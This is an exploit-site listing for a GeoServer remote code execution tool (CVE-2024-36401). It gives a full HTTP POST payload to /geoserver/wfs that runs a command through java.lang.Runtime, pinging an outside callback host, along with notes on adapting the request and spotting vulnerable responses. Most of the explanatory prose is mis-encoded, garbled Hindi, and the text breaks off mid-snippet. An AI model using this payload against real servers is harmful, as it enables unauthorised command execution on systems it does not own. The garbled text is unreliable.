Sploitus

Exploit for geoserver

kitploit ┬╖ 2026-08-28

Exploit Code

MARKDOWN30 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AHISEC-GEOSERVER-
# geoserver CVE-2024-36401 рднреЗрджреНрдпрддрд╛ рд╢реЛрд╖рдг рдЙрдкрдХрд░рдг

geoserver CVE-2024-36401 рдкрд░реНрдпрд╛рд╡рд░рдг: JDK8 рдШреЛрд╖рдгрд╛: рдХреЗрд╡рд▓ рдЕрдзрд┐рдХреГрдд рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рджреБрд░реБрдкрдпреЛрдЧ рд╕реЗ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА рдкрд░рд┐рдгрд╛рдо рд▓реЗрдЦрдХ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдирд╣реАрдВ рд╣реИрдВред рдХреГрдкрдпрд╛ рдХрд╛рдиреВрдиреЛрдВ рдФрд░ рд╡рд┐рдирд┐рдпрдореЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ!

1, рдбрд┐рдлрд╝реЙрд▓реНрдЯ payload:

POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: _/_ Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>

рддреЛ рдпрд╣рд╛рдБ рдзреНрдпрд╛рди рджреЗрдВ: <wfs:Query typeNames='sf:archsites'/>

рдЗрд╕ рд╕реНрдерд╛рди рдкрд░, рдпрджрд┐ рдЖрдкрдХреЛ regex рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ рдпрд╣ sf:archsites рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХрд╛ рдПрдХ рдореВрд▓ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рд╣реИ, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдЗрд╕рдХрд╛

wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType> рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреА рд╣реЛрдЧреА, рдлрд┐рд░ рдЖрдк рдЬреЛрдбрд╝рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдЕрдкрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ

рднреЗрджреНрдпрддрд╛ рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░рддреЗ рд╕рдордп wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>

рдпрд╣рд╛рдБ, рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ DNS рд░рд┐рдХреЙрд░реНрдб рджреЗрдЦрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ

рд╕рд░рд▓ рддрд░реНрдХ рдпрд╣ рд╣реИ рдХрд┐ рдпрд╣ рджреЗрдЦрдирд╛ рд╣реИ рдХрд┐ рдХреЛрдИ рдЕрд╕рд╛рдорд╛рдиреНрдп рд╡рд░реНрдЧ рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ

рдЬреИрд╕реЗ java.lang.ClassCastException

рдмреЗрд╢рдХ, рдпрд╣ рдХреЗрд╡рд▓ рдирд┐рд░реНрдгрдп рддрд░реНрдХ рд╣реИ

рдпрд╣ рдкреНрд░рддрд┐рдзреНрд╡рдирд┐ рдореВрд▓ рд░реВрдк рд╕реЗ 400 рд╣реИ, рдпрд╣рд╛рдБ рдЧрд▓рддреА рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИ, рдЖрдкрдХреЛ рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдбреЗрдЯрд╛ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ

рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдПрдХ <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>